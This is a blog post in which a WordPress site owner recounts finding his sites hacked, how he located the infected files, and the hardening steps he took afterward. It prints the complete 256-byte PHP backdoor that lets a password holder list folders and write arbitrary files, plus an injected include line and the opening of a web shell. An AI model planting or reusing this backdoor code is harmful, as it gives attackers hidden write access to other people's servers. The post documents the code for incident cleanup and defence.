I've been using the WordPress content management system for six years. In that time, I've installed it two dozen times on two hosting companies, have experimented with and configured hundreds of different plugins, and have published over 1,380 posts, two dozen podcasts and thousands of photos.
This summer, WordPress brought me a new experience: that of being hacked.
The discovery began when I came across a a file named bootstrap.php
. That in itself isn't suspicious — I have legitimate plugins that use that filename. But this file was not anywhere that it should be, which raised a red flag. Its contents consisted of only these 256 bytes:
<?php $r=$_REQUEST;$c=getcwd();$n=chr(32);
print('468505ab9718d8c2205ea35d94f04668');
if(md5(md5(@$r['p']))=='3829c383a1277bd6e7e108ab36f8f03c')
{print($n.$c.$n);fwrite(fopen(dirname(__FILE__).
'/'.$r['f'],'w+'),$r['b']);
print($n);print_r(scandir($c));}exit;?>
Concerned, I sought advice from two programmers I know and trust. Kelvin Sherlock identified the above code: "Looks like if you pass in the proper parameters (as part of the http query), it will list the directory contents and create a new file with the filename and contents they provide."
To find other files named bootstrap.php
, Richard Bennett suggested I SSH into my hosting account and execute a find ~/ -name bootstrap.php
command, though Bennett acknowledged that not all files named bootstrap.php
are malicious, and the above code could be hiding in files of any name. The files' creation and modification dates appeared to be spoofed, so I couldn't trust an examination of only those files that were recently uploaded, either.
Instead, guessing that any hacked files would share a unique string found in the above file, I ran the terminal command fgrep -r -i '3829c383a1277bd6e7e108ab36f8f03c' .
(including the period), which would scan the contents of all my sites' files for that alphanumeric string. I then downloaded all my sites' files via FTP and used Mac OS X's Spotlight to perform a similar search for any files the Unix command missed. Between the two, I found dozens of files sharing this code across several filenames:
app.php
application.php
config.php
core.php
engine.php
images.php
info.php
init.php
stats.php
version.php
web.php
In the course of this clean-up, I found another of my sites, this one hosted separately from the rest, had suffered a different attack. Its index.php
file had been prepended with this code:
<?php if (is_file('php5.php')) @include('php5.php');?>
The referenced php5.php
file had links to 54 different pharmaceuticals. Additionally, I found doc.php
and style.php
files with 23KB of alphanumeric strings, beginning with this code:
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace
I don't know how long ago these hacks had occurred, but that last one had been present long enough to be indexed by Google.
I immediately deleted or reverted all affected files but knew I had to plug the leak that had allowed them to inserted in the first place, or else the hackers would continue to exploit the same vulnerabilities that caused this situation. To prevent that, I undertook and implemented a series of security-strengthening steps and measures:
- From my hosting company's administrative panel, I terminated all live FTP connections. If any users were currently connected, I wanted them offline before I changed their passwords.
- I generally prefer the more secure SFTP protocol to FTP, but I had a few users who were still reliant on the latter. No longer — all my sites' accounts require SFTP.
- SSH is normally conducted over port 22, but with some help from IvanExpert, I changed it to a less obvious port by modifying these server files:
/etc/ssh/sshd_config
/etc/services
- I ensured all my WordPress installations and plugins were updated to the latest versions. Since my discovery of these hacks coincided with the release of WordPress 3.4.1, I performed a clean install/update.
- As part of my plugin inspection, I also not only deactivated but completely uninstalled any plugins I was no longer using. Although I only ever download plugins from the official WordPress repository, even its software can be a source for hackers to install backdoors. Best to minimize such opportunities. (Even too many secure plugins can strain your server, driving away visitors with long load times.)
- As of WordPress 3.0, new installations prompt the administrator to create an account with a username other than the obvious "admin". But I've been using WordPress since v2.1, so I double-checked that none of my older installations had this active username. They didn't; otherwise, I would've changed the username, or created a new admin account and used it to delete the old one.
- I changed all my WordPress administrator account passwords (using SplashID's password generator).
- Hopping back into my hosting control panel, I changed the password on each MySQL database, then updated my
wp-config.php
files to match. - Also in
wp-config.php
, I changed the salt and hash codes using the WordPress secret key generator, making dictionary attacks on my sites less viable. - Finally, I installed and ran three WordPress plugins:
- AntiVirus scanned all my themes' PHP files for vulnerabilities.
- WP Security Scan tested my server and WordPress installation for common flaws. As a result, I uploaded
.htaccess
files to mywp-admin
folders, changed folder permissions to 755 where appropriate, and renamed my MySQL database prefixes from the defaultwp_
to something random. - Secure WordPress removed the display of or access to information, folders, and protocols that may be more likely to be used by hackers than site admins. (Better WP Security performs many similar functions, and Wordfence Security also comes recommended.)
If my sites were monetized, I'd look into a commercial security plan, such as Sucuri or VaultPress; and, if I weren't already making my own MySQL backups, I'd investigate BackupBuddy for that.
Unfortunately, since I never determined exactly which exploit the hackers used to insert malicious code into my sites, I can't be 100% confident I have plugged that particular hole. But the least anyone can do is follow steps such as the above — and then continue to stay up-to-date with the best WordPress practices.
To that end, whenever security expert Brad Williams is among the speakers at WordCamp, I make it a point to attend his session. His knowledge of WordPress security issues is thorough and current, and his advice is practical and applicable to any level of WordPress user. Here are some of his latest security tips.